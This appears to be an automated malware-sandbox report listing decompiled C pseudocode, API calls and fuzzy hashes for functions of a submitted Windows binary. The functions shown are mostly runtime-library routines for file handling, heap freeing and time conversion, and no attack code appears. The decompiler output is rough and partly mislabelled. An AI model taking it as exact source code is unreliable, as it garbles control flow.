                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 93d406eb751f86c607dc13eaaa054d8705ba3ff266a8700b2758b39221051539
                                                                                                                              • Instruction ID: cc2b28c19d126d2a3c320a2fd12da7a28884a5951ddb16e3dcaa9219fb11be01
                                                                                                                              • Opcode Fuzzy Hash: 93d406eb751f86c607dc13eaaa054d8705ba3ff266a8700b2758b39221051539
                                                                                                                              • Instruction Fuzzy Hash: 9251EA61B0A28289FE2AAD25D50067EE591BF40B64FCC4676DD6C477C7EE3CD8219720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DAD70 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 67%
                                                                                                                              			E00007FF77FF7DA8DAD70(intOrPtr* __rax) {
				void* __rbx;
				void* _t2;
				intOrPtr _t6;
				void* _t20;
				intOrPtr* _t32;
				void* _t33;
				void* _t34;
				void* _t37;

				_t32 = __rax;
				E00007FF77FF7DA8E7B24(_t2, 2);
				E00007FF77FF7DA8E56EC(E00007FF77FF7DA8DB594(), __rax, _t34);
				_t6 = E00007FF77FF7DA8D53C0();
				E00007FF77FF7DA8E8A70(_t6);
				 *_t32 = _t6;
				if (E00007FF77FF7DA8DB318(1, _t32) == 0) goto 0xda8dae1b;
				E00007FF77FF7DA8DB84C(_t33);
				E00007FF77FF7DA8DB4C8(E00007FF77FF7DA8DB318(1, _t32), _t32);
				if (E00007FF77FF7DA8E7DBC(E00007FF77FF7DA8DB58C(), _t32, _t33, E00007FF77FF7DA8DB890, _t37) != 0) goto 0xda8dae1b;
				E00007FF77FF7DA8DB59C();
				if (E00007FF77FF7DA8DB5D8() == 0) goto 0xda8dade3;
				E00007FF77FF7DA8D3250(E00007FF77FF7DA8D3250(E00007FF77FF7DA8E7B90(_t13, 0x7ff7da8d53c0)));
				E00007FF77FF7DA8E89D0(E00007FF77FF7DA8D53C0(), _t32, 0x7ff7da8d53c0);
				if (E00007FF77FF7DA8DB5B0() == 0) goto 0xda8dae07; // executed
				0xda8e8524(); // executed
				_t20 = E00007FF77FF7DA8D53C0();
				0xda8db784();
				if (_t20 != 0) goto 0xda8dae1b;
				return _t20;
			}











                                                                                                                              0x7ff7da8dad70
                                                                                                                              0x7ff7da8dad7b
                                                                                                                              0x7ff7da8dad87
                                                                                                                              0x7ff7da8dad8c
                                                                                                                              0x7ff7da8dad93
                                                                                                                              0x7ff7da8dad9d
                                                                                                                              0x7ff7da8dada6
                                                                                                                              0x7ff7da8dada8
                                                                                                                              0x7ff7da8dadb4
                                                                                                                              0x7ff7da8dadc7
                                                                                                                              0x7ff7da8dadc9
                                                                                                                              0x7ff7da8dadd5
                                                                                                                              0x7ff7da8dade8
                                                                                                                              0x7ff7da8dadf4
                                                                                                                              0x7ff7da8dae00
                                                                                                                              0x7ff7da8dae02
                                                                                                                              0x7ff7da8dae07
                                                                                                                              0x7ff7da8dae0c
                                                                                                                              0x7ff7da8dae13
                                                                                                                              0x7ff7da8dae1a

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Initialize_invalid_parameter_noinfo_set_fmode
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3548387204-0
                                                                                                                              • Opcode ID: 515fc38de06c00e47728ce5206e52c4fad1dabcef5aec862fceb92a3c70ea36f
                                                                                                                              • Instruction ID: 8a6894f4f406204d3d6b2b42bf3b35df5f12951f50722dfb611e49dc07561f46
                                                                                                                              • Opcode Fuzzy Hash: 515fc38de06c00e47728ce5206e52c4fad1dabcef5aec862fceb92a3c70ea36f
                                                                                                                              • Instruction Fuzzy Hash: F3116910E082438AFE5A77B1445A2BDC1A17F95361FC808B7ED1D872C3EE5DAA708776
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E9F78 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 75%
                                                                                                                              			E00007FF77FF7DA8E9F78(signed int __ecx, void* __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* __rdi;
				int _t22;
				long _t29;
				intOrPtr _t51;
				void* _t65;

				_a8 = __rbx;
				_a16 = __rsi;
				_t65 = __rdx;
				E00007FF77FF7DA8E6E48(__edi, __rax);
				if (__rax != 0xffffffff) goto 0xda8e9f9e;
				goto 0xda8e9ff8;
				_t51 =  *0xda91ca20; // 0x25976db6280
				if (__edi != 1) goto 0xda8e9fb8;
				if (( *(_t51 + 0xc8) & dil) != 0) goto 0xda8e9fc5;
				if (__edi != 2) goto 0xda8e9fdc;
				if (( *(_t51 + 0x80) & 0x00000001) == 0) goto 0xda8e9fdc;
				E00007FF77FF7DA8E6E48(2, _t51);
				E00007FF77FF7DA8E6E48(1, _t51);
				if (_t51 == _t51) goto 0xda8e9f9a;
				E00007FF77FF7DA8E6E48(__edi, _t51);
				_t22 = FindCloseChangeNotification(??); // executed
				if (_t22 != 0) goto 0xda8e9f9a;
				_t29 = GetLastError();
				E00007FF77FF7DA8E6D8C(_t23, _t29, __edi, _t51, __ecx, _t65);
				 *((char*)( *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8)) = 0;
				if (_t29 == 0) goto 0xda8ea033;
				E00007FF77FF7DA8E4350(_t29, _t65);
				goto 0xda8ea035;
				return 0;
			}








                                                                                                                              0x7ff7da8e9f78
                                                                                                                              0x7ff7da8e9f7d
                                                                                                                              0x7ff7da8e9f8a
                                                                                                                              0x7ff7da8e9f8f
                                                                                                                              0x7ff7da8e9f98
                                                                                                                              0x7ff7da8e9f9c
                                                                                                                              0x7ff7da8e9f9e
                                                                                                                              0x7ff7da8e9fad
                                                                                                                              0x7ff7da8e9fb6
                                                                                                                              0x7ff7da8e9fba
                                                                                                                              0x7ff7da8e9fc3
                                                                                                                              0x7ff7da8e9fc5
                                                                                                                              0x7ff7da8e9fd2
                                                                                                                              0x7ff7da8e9fda
                                                                                                                              0x7ff7da8e9fde
                                                                                                                              0x7ff7da8e9fe6
                                                                                                                              0x7ff7da8e9fee
                                                                                                                              0x7ff7da8e9ff6
                                                                                                                              0x7ff7da8e9ffa
                                                                                                                              0x7ff7da8ea01b
                                                                                                                              0x7ff7da8ea022
                                                                                                                              0x7ff7da8ea029
                                                                                                                              0x7ff7da8ea031
                                                                                                                              0x7ff7da8ea044

                                                                                                                              APIs
                                                                                                                              • FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF7DA8E9DF5,?,?,00000000,00007FF7DA8E9EAA), ref: 00007FF7DA8E9FE6
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8E9DF5,?,?,00000000,00007FF7DA8E9EAA), ref: 00007FF7DA8E9FF0
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ChangeCloseErrorFindLastNotification
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1687624791-0
                                                                                                                              • Opcode ID: ad6594b361ddccf81c01187a23df810a25d25f951f7e4b92e7c3b860c5a51574
                                                                                                                              • Instruction ID: 61657c8dfa15de9a9dde17b6f7b24b638b75a29f25f6da6806214ff180e29e27
                                                                                                                              • Opcode Fuzzy Hash: ad6594b361ddccf81c01187a23df810a25d25f951f7e4b92e7c3b860c5a51574
                                                                                                                              • Instruction Fuzzy Hash: 1221C511F18643C4FA527761D48427DE2927FA4BA0FD442B7EE1E472C3CE6EE5654320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EB554 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FF77FF7DA8EB554(signed int __ecx, void* __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long __rsi, long long __rbp, void* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v24;
				int _t22;
				void* _t24;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				E00007FF77FF7DA8E6E48(__edi, __rax);
				if (__rax != 0xffffffff) goto 0xda8eb592;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 9;
				goto 0xda8eb5e8;
				r9d = r8d;
				_t22 = SetFilePointerEx(??, ??, ??, ??); // executed
				if (_t22 != 0) goto 0xda8eb5bc;
				_t24 = E00007FF77FF7DA8E4350(GetLastError(), __r9);
				goto 0xda8eb58c;
				if (_v24 == 0xffffffff) goto 0xda8eb58c;
				 *( *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8) & 0x000000fd;
				return _t24;
			}






                                                                                                                              0x7ff7da8eb554
                                                                                                                              0x7ff7da8eb559
                                                                                                                              0x7ff7da8eb55e
                                                                                                                              0x7ff7da8eb576
                                                                                                                              0x7ff7da8eb57f
                                                                                                                              0x7ff7da8eb581
                                                                                                                              0x7ff7da8eb585
                                                                                                                              0x7ff7da8eb590
                                                                                                                              0x7ff7da8eb592
                                                                                                                              0x7ff7da8eb5a0
                                                                                                                              0x7ff7da8eb5a8
                                                                                                                              0x7ff7da8eb5b5
                                                                                                                              0x7ff7da8eb5ba
                                                                                                                              0x7ff7da8eb5c5
                                                                                                                              0x7ff7da8eb5e3
                                                                                                                              0x7ff7da8eb5fc

                                                                                                                              APIs
                                                                                                                              • SetFilePointerEx.KERNELBASE(?,?,?,?,00000000,00007FF7DA8EB6ED), ref: 00007FF7DA8EB5A0
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,00000000,00007FF7DA8EB6ED), ref: 00007FF7DA8EB5AA
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastPointer
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2976181284-0
                                                                                                                              • Opcode ID: a0c231647b24d9852de70eff871a2b210e81a6ebcaaf717043b768b8d22a8b00
                                                                                                                              • Instruction ID: c36d954c3d9f19d22b379cee82d245db5af9bf9fd274714dfeb0e2c9de0ff986
                                                                                                                              • Opcode Fuzzy Hash: a0c231647b24d9852de70eff871a2b210e81a6ebcaaf717043b768b8d22a8b00
                                                                                                                              • Instruction Fuzzy Hash: E511C461618B4281EA11AB25E40406DF361BB94BF4FD48772EE7D477DACF3DD1648740
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E48CC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8E47E1), ref: 00007FF7DA8E48FF
                                                                                                                              • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8E47E1), ref: 00007FF7DA8E4915
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Time$System$FileLocalSpecific
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1707611234-0
                                                                                                                              • Opcode ID: c2acd781a860b2283c906d38b22be488d7b82ddd1467d047cf226228e824bc51
                                                                                                                              • Instruction ID: 839a22c6f0754ecc247b6a9f4fa9e84619222f1b0703e54b2ec35c1e5de43d11
                                                                                                                              • Opcode Fuzzy Hash: c2acd781a860b2283c906d38b22be488d7b82ddd1467d047cf226228e824bc51
                                                                                                                              • Instruction Fuzzy Hash: 4711602160C653C1FA54AB14A44113EF760FB95771FE00276EAAD819E9EF2ED564CB20
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E68D4 Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8E6751), ref: 00007FF7DA8E68F7
                                                                                                                              • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8E6751), ref: 00007FF7DA8E690D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Time$System$FileLocalSpecific
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1707611234-0
                                                                                                                              • Opcode ID: 9ec0a8e6c5ce00d36eaa55dced753a90260fdad876e8f33a31f5c1658c0b2348
                                                                                                                              • Instruction ID: 34115ce1128455d82aaab868119266a4cab0d3f00043f163fbf9088c2856c702
                                                                                                                              • Opcode Fuzzy Hash: 9ec0a8e6c5ce00d36eaa55dced753a90260fdad876e8f33a31f5c1658c0b2348
                                                                                                                              • Instruction Fuzzy Hash: A1017C2261C292C2E7516F14A44113EF7A1FB91B71FE00277EAAE425D9DF3ED564CB20
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E9D68 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 68%
                                                                                                                              			E00007FF77FF7DA8E9D68(intOrPtr* __rax, void* __rcx) {
				int _t1;
				intOrPtr _t3;
				void* _t4;
				void* _t11;
				intOrPtr _t14;

				if (__rcx == 0) goto 0xda8e9da3;
				_t14 =  *0xda91d260; // 0x25976da0000, executed
				_t1 = HeapFree(_t11, ??); // executed
				if (_t1 != 0) goto 0xda8e9d9e;
				_t3 = E00007FF77FF7DA8E42C0(GetLastError(), __rax, _t14, __rcx);
				_t4 = E00007FF77FF7DA8E4394(__rax);
				 *__rax = _t3;
				return _t4;
			}








                                                                                                                              0x7ff7da8e9d6b
                                                                                                                              0x7ff7da8e9d77
                                                                                                                              0x7ff7da8e9d7e
                                                                                                                              0x7ff7da8e9d86
                                                                                                                              0x7ff7da8e9d90
                                                                                                                              0x7ff7da8e9d97
                                                                                                                              0x7ff7da8e9d9c
                                                                                                                              0x7ff7da8e9da3

                                                                                                                              APIs
                                                                                                                              • RtlReleasePrivilege.NTDLL(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastPrivilegeRelease
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1334314998-0
                                                                                                                              • Opcode ID: 331a8c6299aeae9f3295a3151f49c926d91e1c45e425888c05f84f3a32f5048a
                                                                                                                              • Instruction ID: afb52fd6ccf52f2d6534540cd6ea56b91d891a55f3f98ad3189b237571a15167
                                                                                                                              • Opcode Fuzzy Hash: 331a8c6299aeae9f3295a3151f49c926d91e1c45e425888c05f84f3a32f5048a
                                                                                                                              • Instruction Fuzzy Hash: ABE08614F0D203C6FF167BF2A44403CE6517FA4710BC448B2CD0D86253DE6DA5644230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E6EC0 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 68%
                                                                                                                              			E00007FF77FF7DA8E6EC0() {
				int _t1;
				void* _t9;
				void* _t10;

				_t1 = DeleteFileW(); // executed
				if (_t1 != 0) goto 0xda8e6ee0;
				E00007FF77FF7DA8E4308(GetLastError(), _t9, _t10);
				goto 0xda8e6ee2;
				return 0;
			}






                                                                                                                              0x7ff7da8e6ec4
                                                                                                                              0x7ff7da8e6ecc
                                                                                                                              0x7ff7da8e6ed6
                                                                                                                              0x7ff7da8e6ede
                                                                                                                              0x7ff7da8e6ee6

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DeleteErrorFileLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2018770650-0
                                                                                                                              • Opcode ID: 2e247283b98ea6ce82ead759ad145b4937c2f306634ca3fae332b7479a0f9e76
                                                                                                                              • Instruction ID: 8686586c4a0649e8485634b286a5294df85e1fca7fbcc3b206068592f6ed3b45
                                                                                                                              • Opcode Fuzzy Hash: 2e247283b98ea6ce82ead759ad145b4937c2f306634ca3fae332b7479a0f9e76
                                                                                                                              • Instruction Fuzzy Hash: 74D0C910F18503C5F61677B1988543CA2903FA4730FE00AB2D81E801D3DE6EA6B90131
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E663C Relevance: 3.0, APIs: 2, Instructions: 12COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 68%
                                                                                                                              			E00007FF77FF7DA8E663C() {
				int _t1;
				void* _t9;
				void* _t10;

				_t1 = RemoveDirectoryW(); // executed
				if (_t1 != 0) goto 0xda8e665c;
				E00007FF77FF7DA8E4308(GetLastError(), _t9, _t10);
				goto 0xda8e665e;
				return 0;
			}






                                                                                                                              0x7ff7da8e6640
                                                                                                                              0x7ff7da8e6648
                                                                                                                              0x7ff7da8e6652
                                                                                                                              0x7ff7da8e665a
                                                                                                                              0x7ff7da8e6662

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DirectoryErrorLastRemove
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 377330604-0
                                                                                                                              • Opcode ID: 32a80bb3378596ce2224866d239cab53d38643b4ffb54b95134f306b6ae187c8
                                                                                                                              • Instruction ID: a44d0da0222a589d9cf51598249ac57322789e375e45c688160a799b895edf6a
                                                                                                                              • Opcode Fuzzy Hash: 32a80bb3378596ce2224866d239cab53d38643b4ffb54b95134f306b6ae187c8
                                                                                                                              • Instruction Fuzzy Hash: 72D0C920F28503C1FA1637B1584603CA1903FA4730FD00AB6C82E811E3DEAEA2791521
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6C10 Relevance: 1.6, APIs: 1, Instructions: 141COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide_findclose
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2772937645-0
                                                                                                                              • Opcode ID: 239cefe38c06f9793475149507199f8f799df8b7831813140c3ac360e1f6e0b3
                                                                                                                              • Instruction ID: ac971efe89d9a43cb9902d2d30313a1f63ad553b804c6491602d15925ac85c3c
                                                                                                                              • Opcode Fuzzy Hash: 239cefe38c06f9793475149507199f8f799df8b7831813140c3ac360e1f6e0b3
                                                                                                                              • Instruction Fuzzy Hash: 3E717F52E18AC581EA11DB2CD5052FDB360F7A9B48F95E321DF9D12593EF28E2D9C700
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EB2CC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8EB2CC(signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				if (__rcx != 0) goto 0xda8eb314;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				return __edi | 0xffffffff;
			}



                                                                                                                              0x7ff7da8eb2cc
                                                                                                                              0x7ff7da8eb2d1
                                                                                                                              0x7ff7da8eb2d6
                                                                                                                              0x7ff7da8eb2e7
                                                                                                                              0x7ff7da8eb2e9
                                                                                                                              0x7ff7da8eb2ee
                                                                                                                              0x7ff7da8eb2f4
                                                                                                                              0x7ff7da8eb313

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
